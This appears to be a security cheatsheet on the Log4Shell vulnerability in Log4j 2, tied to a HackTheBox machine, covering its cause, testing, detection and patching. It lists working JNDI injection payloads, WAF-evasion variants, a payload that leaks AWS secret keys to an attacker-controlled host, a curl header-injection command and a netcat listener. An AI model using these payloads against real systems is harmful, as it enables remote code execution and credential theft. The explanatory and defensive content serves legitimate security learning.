Log4Shell (CVE-2021-44228)
Full command arsenal in the cheatsheetLog4Shell is the critical vulnerability (CVE-2021-44228, December 2021) in Log4j 2, the most widespread logging library in the Java ecosystem. It affects versions 2.0-beta9 through 2.14.1.
The cause: lookups in messages. Log4j lets you interpolate expressions inside the messages it logs via the ${...} syntax. One of those expressions is JNDI (Java Naming and Directory Interface), an API that resolves names against directory services (LDAP, RMI, DNS). If a string Log4j logs contains ${jndi:ldap://attacker/resource}, the library contacts that server and, in vulnerable versions, downloads and runs a Java class the attacker serves. The result is unauthenticated remote code execution.
Why the surface was enormous. The payload doesn't need a specific field: any data that ends up in a log() works. In practice that includes HTTP headers (User-Agent, X-Forwarded-For), usernames, parameters, email subjects, filenames or, as in Crafty, a Minecraft 1.16.5 server's chat (both the game client and server logged messages with Log4j).
How it's confirmed without running code. Before launching the full exploit, you send a test payload that only triggers an outbound connection: ${jndi:ldap://<my-ip>} with a listener (nc -nlvp 389) waiting. If the victim connects, its Log4j parsed the string and the vulnerability is confirmed.
# base payload and obfuscated variants to dodge filters/WAFs (try in User-Agent, params, etc.)
${jndi:ldap://<lhost>:1389/a}
${jndi:rmi://<lhost>:1099/a}
${jndi:dns://<lhost>/a}
${${lower:j}ndi:${lower:l}${lower:d}ap://<lhost>/a}
${${::-j}${::-n}${::-d}${::-i}:ldap://<lhost>/a}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap://<lhost>/a}
# exfiltrate environment variables in the subdomain (secrets)
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.<lhost>/a}
# inject via a header with curl
curl http://<ip>/ -H 'User-Agent: ${jndi:ldap://<lhost>:1389/a}'Full exploitation usually relies on a tool like kozmer/log4j-shell-poc, which orchestrates three pieces: a rogue LDAP (port 1389) redirecting to an HTTP server with a compiled Java class that runs the desired command. One important detail: modern JDK versions block remote class loading via JNDI by default (com.sun.jndi.ldap.object.trustURLCodebase=false), which is why classic PoCs need an old JDK (e.g. 8u202) to reproduce the attack.
How to detect it. The inbound signature is the ${jndi: string (and its obfuscations: ${${lower:j}ndi:, ${env:...}, ldap/rmi/dns schemes) in any field that gets logged: HTTP headers (User-Agent, X-Forwarded-For), parameters, paths. A WAF and a grep over the access logs catch it, though the obfuscation forces broad signatures. The definitive detection is on the network: the JNDI interpolation makes the Java server perform an outbound LDAP/RMI/DNS request to the attacker's host, so an egress connection from a JVM to an external ldap:///rmi://, or an anomalous DNS query, is proof the lookup ran. On the host, the RCE phase leaves java spawning sh/bash (Sysmon 1 / auditd). The outbound connection is the most reliable signal because it does not depend on unpicking the obfuscation.
Defence. Update to Log4j 2.17.1 or later; as a temporary mitigation, start the JVM with -Dlog4j2.formatMsgNoLookups=true or remove the JndiLookup class from the classpath. Long term, never log unsanitized user input and keep your dependency inventory current (Log4Shell's real lesson was the supply chain: almost no one knew where they had Log4j).
Machines where it's used
- CraftyHackTheBox